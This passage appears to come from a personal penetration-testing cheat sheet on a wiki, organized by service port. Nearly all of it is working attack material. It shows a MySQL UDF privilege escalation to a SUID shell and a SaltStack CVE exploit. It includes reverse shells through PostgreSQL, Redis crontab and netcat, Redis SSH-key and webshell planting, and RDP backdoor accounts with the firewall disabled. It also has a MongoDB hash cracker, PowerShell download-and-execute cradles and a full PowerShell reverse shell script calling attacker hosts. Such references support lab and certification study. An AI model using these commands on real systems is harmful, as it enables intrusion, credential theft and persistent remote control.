&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mysqludf/lib_mysqludf_sys&lt;br /&gt;
# Compiling the above will sometimes not work and you have to do some editing. See the below commands to fix issue and compile correct.&lt;br /&gt;
xxd -p lib_mysqludf_sys.so| tr -d &#039;\n&#039; &amp;gt; lib_mysqludf_sys.so.hex&lt;br /&gt;
cat lib_mysqludf_sys.so.hex |  xclip -selection clipboard&lt;br /&gt;
MariaDB [(none)]&amp;gt; select @@plugin_dir&lt;br /&gt;
MariaDB [(none)]&amp;gt;  set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select binary @shell into dumpfile @@plugin_dir; # Write out the plugin dir like this &#039;/usr/lib/lib_mysqludf_sys.so&lt;br /&gt;
MariaDB [(none)]&amp;gt; create function sys_exec returns int soname &#039;udf_sys_exec.so&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select * from mysql.func where name=&#039;sys_exec&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select sys_exec(&#039;cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/mysqludf/lib_mysqludf_sys.git&lt;br /&gt;
cd lib_mysqludf_sys&lt;br /&gt;
rm lib_mysqludf_sys.so&lt;br /&gt;
sed -i &#039;s|$(LIBDIR)|.|g&#039; Makefile&lt;br /&gt;
sed -i &#039;s|-Wall -I/usr/include/mysql|-Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb/server/private|g&#039; Makefile&lt;br /&gt;
ex lib_mysqludf_sys.c &amp;lt;&amp;lt;&amp;lt;&amp;quot;57,62m27|wq&amp;quot;&lt;br /&gt;
sudo apt install libmariadbd-dev&lt;br /&gt;
make&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3389 - RDP ==&lt;br /&gt;
&lt;br /&gt;
=== Add user and enable RDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/xapax/oscp/blob/master/templates/windows-template.md&lt;br /&gt;
net user aghanim Password123 /add&lt;br /&gt;
net localgroup Administrators aghanim /add&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; aghanim /ADD&lt;br /&gt;
# Enable RDP&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
Turn firewall off&lt;br /&gt;
netsh firewall set opmode disable&lt;br /&gt;
Or like this&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
If you get this error:&lt;br /&gt;
&amp;quot;ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?&lt;br /&gt;
Failed to connect, CredSSP required by server.&amp;quot;&amp;quot;&lt;br /&gt;
Add this reg key:&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&amp;quot; /v UserAuthentication /t REG_DWORD /&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ThinVNC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47519&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 4505, 4506 - zmtp ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# RCE in Satlstack 3000 ZeroMQ CVE-2020-11651 and CVE-2020-11652 in&lt;br /&gt;
# https://github.com/jasperla/CVE-2020-11651-poc&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 --exec &amp;quot;nc 127.0.0.1 4444 -e /bin/sh&amp;quot;&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 -r /etc/shadow&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5432, 5433 - PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psql -U  # Open psql console with user&lt;br /&gt;
psql -h  -U  -d  # Remote connection&lt;br /&gt;
psql -h  -p  -U  -W   # Remote connection&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
psql -h localhost -d  -U  #Password will be prompted&lt;br /&gt;
\list # List databases&lt;br /&gt;
\c  # use the database&lt;br /&gt;
\d # List tables&lt;br /&gt;
\du+ # Get users roles&lt;br /&gt;
#Read a file&lt;br /&gt;
CREATE TABLE demo(t text);&lt;br /&gt;
COPY demo from &#039;[FILENAME]&#039;;&lt;br /&gt;
SELECT * FROM demo;&lt;br /&gt;
#Write ascii to a file (copy to cannot copy binary data)&lt;br /&gt;
COPY (select convert_from(decode(&#039;&#039;,&#039;base64&#039;),&#039;utf-8&#039;)) to &#039;C:\\some\\interesting\path.cmd&#039;;&lt;br /&gt;
#List databases&lt;br /&gt;
SELECT datname FROM pg_database;&lt;br /&gt;
#Read credentials (usernames + pwd hash)&lt;br /&gt;
SELECT usename, passwd from pg_shadow;&lt;br /&gt;
#Check if current user is superiser&lt;br /&gt;
SELECT current_setting(&#039;is_superuser&#039;); #If response is &amp;quot;on&amp;quot; then true, if &amp;quot;off&amp;quot; then false&lt;br /&gt;
#Check if plpgsql is enabled&lt;br /&gt;
SELECT lanname,lanacl FROM pg_language WHERE lanname = &#039;plpgsql&#039;&lt;br /&gt;
#Change password&lt;br /&gt;
ALTER USER user_name WITH PASSWORD &#039;new_password&#039;;&lt;br /&gt;
#Check users privileges over a table (pg_shadow on this example)&lt;br /&gt;
SELECT grantee, privilege_type&lt;br /&gt;
FROM information_schema.role_table_grants&lt;br /&gt;
WHERE table_name=&#039;pg_shadow&#039;&lt;br /&gt;
#Get users roles&lt;br /&gt;
SELECT&lt;br /&gt;
      r.rolname,&lt;br /&gt;
      r.rolsuper,&lt;br /&gt;
      r.rolinherit,&lt;br /&gt;
      r.rolcreaterole,&lt;br /&gt;
      r.rolcreatedb,&lt;br /&gt;
      r.rolcanlogin,&lt;br /&gt;
      r.rolconnlimit, r.rolvaliduntil,&lt;br /&gt;
  ARRAY(SELECT b.rolname&lt;br /&gt;
        FROM pg_catalog.pg_auth_members m&lt;br /&gt;
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)&lt;br /&gt;
        WHERE m.member = r.oid) as memberof&lt;br /&gt;
, r.rolreplication&lt;br /&gt;
FROM pg_catalog.pg_roles r&lt;br /&gt;
ORDER BY 1;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== RCE ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection#rce&lt;br /&gt;
#PoC&lt;br /&gt;
DROP TABLE IF EXISTS cmd_exec;&lt;br /&gt;
CREATE TABLE cmd_exec(cmd_output text);&lt;br /&gt;
COPY cmd_exec FROM PROGRAM &#039;id&#039;;&lt;br /&gt;
SELECT * FROM cmd_exec;&lt;br /&gt;
&lt;br /&gt;
postgres=# COPY cmd_exec FROM PROGRAM &#039;perl -MIO -e &#039;&#039;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,&amp;quot;192.168.49.115:80&amp;quot;);STDIN-&amp;gt;fdopen($c,r);$~-&amp;gt;fdopen($c,w);system$_ while&amp;lt;&amp;gt;;;&lt;br /&gt;
COPY 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5800, 5801, 5900, 5901 - VNC ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5985, 5986 - WinRM ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 6370 - Redis ==&lt;br /&gt;
&lt;br /&gt;
=== Commands &amp;amp; info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Service file&lt;br /&gt;
/etc/systemd/system/redis.service&lt;br /&gt;
# Config file&lt;br /&gt;
installdir/redis/etc/redis. conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crontab ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@Urahara:~# echo -e &amp;quot;\n\n*/1 * * * * /usr/bin/python -c &#039;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&amp;quot;10.85.0.53\&amp;quot;,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\&amp;quot;/bin/sh\&amp;quot;,\&amp;quot;-i\&amp;quot;]);&#039;\n\n&amp;quot;|redis-cli -h 10.85.0.52 -x set 1&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 save&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping database ===&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Sybaris writeup&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#load-redis-module&lt;br /&gt;
# Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.&lt;br /&gt;
# Then you need some way to upload the compiled module&lt;br /&gt;
# Load the uploaded module at runtime with MODULE LOAD /path/to/mymodule.so&lt;br /&gt;
# List loaded modules to check it was correctly loaded: MODULE LIST&lt;br /&gt;
# Execute commands:&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;id&amp;quot;&lt;br /&gt;
&amp;quot;uid=0(root) gid=0(root) groups=0(root)\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;whoami&amp;quot;&lt;br /&gt;
&amp;quot;root\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.rev 127.0.0.1 9999&lt;br /&gt;
Unload the module whenever you want: MODULE UNLOAD mymodule&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Redis-rogue server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# A exploit for Redis(&amp;lt;=5.0.5) RCE&lt;br /&gt;
# https://github.com/n0b0dyCN/redis-rogue-server&lt;br /&gt;
# https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf&lt;br /&gt;
python3 redis-rogue-server.py --rhost=192.168.143.69 --rport=6379 --lhost=192.168.49.143 --lport 6379&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssh Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa&lt;br /&gt;
# 2 Write the public key to a file : (echo -e &amp;quot;\n\n&amp;quot;; cat ~/id_rsa.pub; echo -e &amp;quot;\n\n&amp;quot;) &amp;gt; spaced_key.txt&lt;br /&gt;
# 3 Import the file into redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key&lt;br /&gt;
# 4 Save the public key to the authorized_keys file on redis server:&lt;br /&gt;
# 4&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /var/lib/redis/.ssh&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename &amp;quot;authorized_keys&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
# Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#webshell Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# You must know the path of the Web site folder.&lt;br /&gt;
# Try also /var/www/html&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /usr/share/nginx/html&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename redis.php&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; set test &amp;quot;&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 27017 - MongoDB ==&lt;br /&gt;
&lt;br /&gt;
=== Crack hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# In order to get the password for MonogDB you need to have the SCRAM challanege, either from a pcap or else. You need the username, client nonce, server nonce, salt, and the target hash.&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
import hmac&lt;br /&gt;
import sys&lt;br /&gt;
USERNAME = &#039;admin&#039;&lt;br /&gt;
SALT = &#039;zOa0kWA/OTak0a0vNaN0Zh2drO1uekoDUh4sdg==&#039;&lt;br /&gt;
CLIENT_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeK&#039;&lt;br /&gt;
SERVER_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeKoGtDP4x0LH5WZgQ9xFMJEJknBHTp6N1D&#039;&lt;br /&gt;
ITERATIONS = 15000&lt;br /&gt;
TARGET = &#039;/nW1YVs0JcvxU48jLHanbkQbZ4GFJ8+Na8fj7xM1s98=&#039;&lt;br /&gt;
WORDLIST = &#039;/usr/share/wordlists/rockyou.txt&#039;&lt;br /&gt;
def byte_xor(ba1, ba2):&lt;br /&gt;
    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])&lt;br /&gt;
def proof(username, password, salt, client_nonce, server_nonce, iterations):&lt;br /&gt;
    raw_salt = base64.b64decode(salt)&lt;br /&gt;
    client_first_bare = &#039;n={},r={}&#039;.format(username, client_nonce)&lt;br /&gt;
    server_first = &#039;r={},s={},i={}&#039;.format(server_nonce, salt, iterations)&lt;br /&gt;
    client_final_without_proof = &#039;c=biws,r={}&#039;.format(server_nonce)&lt;br /&gt;
    auth_msg = &#039;{},{},{}&#039;.format(client_first_bare, server_first, client_final_without_proof)&lt;br /&gt;
    salted_password = hashlib.pbkdf2_hmac(&#039;sha256&#039;, password.encode(&#039;utf-8&#039;), raw_salt, iterations)&lt;br /&gt;
    client_key = hmac.digest(salted_password, b&#039;Client Key&#039;, &#039;sha256&#039;)&lt;br /&gt;
    stored_key = hashlib.sha256(client_key).digest()&lt;br /&gt;
    client_signature = hmac.new(stored_key, auth_msg.encode(&#039;utf-8&#039;), &#039;sha256&#039;).digest()&lt;br /&gt;
    client_proof = byte_xor(client_key, client_signature)&lt;br /&gt;
    return base64.b64encode(client_proof).decode(&#039;utf-8&#039;)&lt;br /&gt;
counter = 0&lt;br /&gt;
with open(WORDLIST) as f:&lt;br /&gt;
    for candidate in f:&lt;br /&gt;
        counter = counter + 1&lt;br /&gt;
        if counter % 1000 == 0:&lt;br /&gt;
            print(&#039;Tried {} passwords&#039;.format(counter))&lt;br /&gt;
        p = proof(USERNAME, candidate.rstrip(&#039;\n&#039;), SALT, CLIENT_NONCE, SERVER_NONCE, ITERATIONS)&lt;br /&gt;
        if p == TARGET:&lt;br /&gt;
            print(&#039;Password found: {}&#039;.format(candidate.rstrip(&#039;\n&#039;)))&lt;br /&gt;
            sys.exit(0)&lt;br /&gt;
print(&#039;Wordlist exhausted with no password found.&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 29819 - Windows IoT Core SirepServer ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SafeBreach-Labs/SirepRAT SirepRAT]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file - Example&lt;br /&gt;
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c powershell invoke-webrequest -o c:\windows\temp\nc.exe -uri http://10.10.14.12:9000/nc.exe&#039;&lt;br /&gt;
# Execute command - Example&lt;br /&gt;
 python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c c:\windows\temp\nc.exe -e cmd 10.10.14.12 4444&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Active Directory/Windows ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=2078&lt;br /&gt;
&lt;br /&gt;
=== ASREPRoast ===&lt;br /&gt;
&lt;br /&gt;
=== BloodHound ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using bloodhound.py. Source https://github.com/fox-it/BloodHound.py.&lt;br /&gt;
# Allows you to collect data for BloodHound from a Linux system, OSX system, or Windows system that has Python installed on it.&lt;br /&gt;
python3 bloodhound.py -c All -d  -u  -p &#039;&#039; -ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start neo4j database&lt;br /&gt;
./neo4j console&lt;br /&gt;
# Start BloodHound&lt;br /&gt;
./BloodHound.bin --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Curated list of commands ===&lt;br /&gt;
&lt;br /&gt;
=== Dump hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have copied over C:\Windows\System32\config\SAM and C:\Windows\System32\config\SYSTEM to attacker machine, use this command to dump the hash.&lt;br /&gt;
usr/bin/impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberoast ===&lt;br /&gt;
&lt;br /&gt;
=== Pass The Hash ===&lt;br /&gt;
&lt;br /&gt;
=== Password Spraying ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u users.txt -p passwords.txt&lt;br /&gt;
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123&lt;br /&gt;
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PSEXEC.py, PSExec.exe, Evil-WinRM ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 psexec.py test.local/john:password123@10.10.10.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# evil-winrm -u svc-alfresco -p &#039;s3rvice&#039; -i 10.10.10.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From SysInternals&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell commands ===&lt;br /&gt;
&lt;br /&gt;
Running powershell x64, and running (IEX) the downloaded ps1 file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Powershell on target with ExectionPolicy to bypass&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerUp.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/PowerUp.ps1&#039;);Invoke-AllChecks&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Downloading SharpHound.exe on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
(new-object System.Net.WebClient).DownloadFile(&#039;http://10.10.14.17:9000/SharpHound.exe&#039;, &#039;C:\Users\[...]\Desktop\SharpHound.exe&#039;)&lt;br /&gt;
# Execute SharpHound&lt;br /&gt;
./SharpHound.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerView.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.45:5555/PowerView.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Nishangs Invoke-PowershellTCP&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c IEX(New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.18:9000/shell.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Use invoke webrequest and download script. With -UseBasicParsing. &#039;&#039;-UseBasicParsing - Indicates that the cmdlet uses the response object for HTML content without Document Object Model (DOM) parsing. This parameter is required when Internet Explorer is not installed on the computers, such as on a Server Core installation of a Windows Server operating system.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
iex (iwr &#039;10.10.14.9:9000/ipw.ps1&#039;) -UseBasicParsing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Download a file and save it to location.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell Invoke-WebRequest -outfile c:\windows\system32\spool\drivers\color\nc.exe -uri http://10.10.14.24/nc64.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mini-reverseshell.ps1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;127.0.0.1&#039;, 413);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do&lt;br /&gt;
{&lt;br /&gt;
	$writer.Flush();&lt;br /&gt;
	$read = $null;&lt;br /&gt;
	$res = &amp;quot;&amp;quot;&lt;br /&gt;
	while($stream.DataAvailable -or $read -eq $null) {&lt;br /&gt;
		$read = $stream.Read($buffer, 0, 1024)&lt;br /&gt;
	}&lt;br /&gt;
	$out = $encoding.GetString($buffer, 0, $read).Replace(&amp;quot;`r`n&amp;quot;,&amp;quot;&amp;quot;).Replace(&amp;quot;`n&amp;quot;,&amp;quot;&amp;quot;);&lt;br /&gt;
	if(!$out.equals(&amp;quot;exit&amp;quot;)){&lt;br /&gt;
		$args = &amp;quot;&amp;quot;;&lt;br /&gt;
		if($out.IndexOf(&#039; &#039;) -gt -1){&lt;br /&gt;
			$args = $out.substring($out.IndexOf(&#039; &#039;)+1);&lt;br /&gt;
			$out = $out.substring(0,$out.IndexOf(&#039; &#039;));&lt;br /&gt;
			if($args.split(&#039; &#039;).length -gt 1){&lt;br /&gt;
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo&lt;br /&gt;
                $pinfo.FileName = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
                $pinfo.RedirectStandardError = $true&lt;br /&gt;
                $pinfo.RedirectStandardOutput = $true&lt;br /&gt;
                $pinfo.UseShellExecute = $false&lt;br /&gt;
                $pinfo.Arguments = &amp;quot;/c $out $args&amp;quot;&lt;br /&gt;
                $p = New-Object System.Diagnostics.Process&lt;br /&gt;
                $p.StartInfo = $pinfo&lt;br /&gt;
                $p.Start() | Out-Null&lt;br /&gt;
                $p.WaitForExit()&lt;br /&gt;
                $stdout = $p.StandardOutput.ReadToEnd()&lt;br /&gt;
                $stderr = $p.StandardError.ReadToEnd()&lt;br /&gt;
                if ($p.ExitCode -ne 0) {&lt;br /&gt;
                    $res = $stderr&lt;br /&gt;
                } else {&lt;br /&gt;
                    $res = $stdout&lt;br /&gt;
                }&lt;br /&gt;
			}&lt;br /&gt;
			else{&lt;br /&gt;
				$res = (&amp;amp;&amp;quot;$out&amp;quot; &amp;quot;$args&amp;quot;) | out-string;&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
		else{&lt;br /&gt;
			$res = (&amp;amp;&amp;quot;$out&amp;quot;) | out-string;&lt;br /&gt;
		}&lt;br /&gt;
		if($res -ne $null){&lt;br /&gt;
        $writer.WriteLine($res)&lt;br /&gt;
    }&lt;br /&gt;
	}&lt;br /&gt;
}While (!$out.equals(&amp;quot;exit&amp;quot;))&lt;br /&gt;
$writer.close();&lt;br /&gt;
$socket.close();&lt;br /&gt;
$stream.Dispose()&lt;br /&gt;
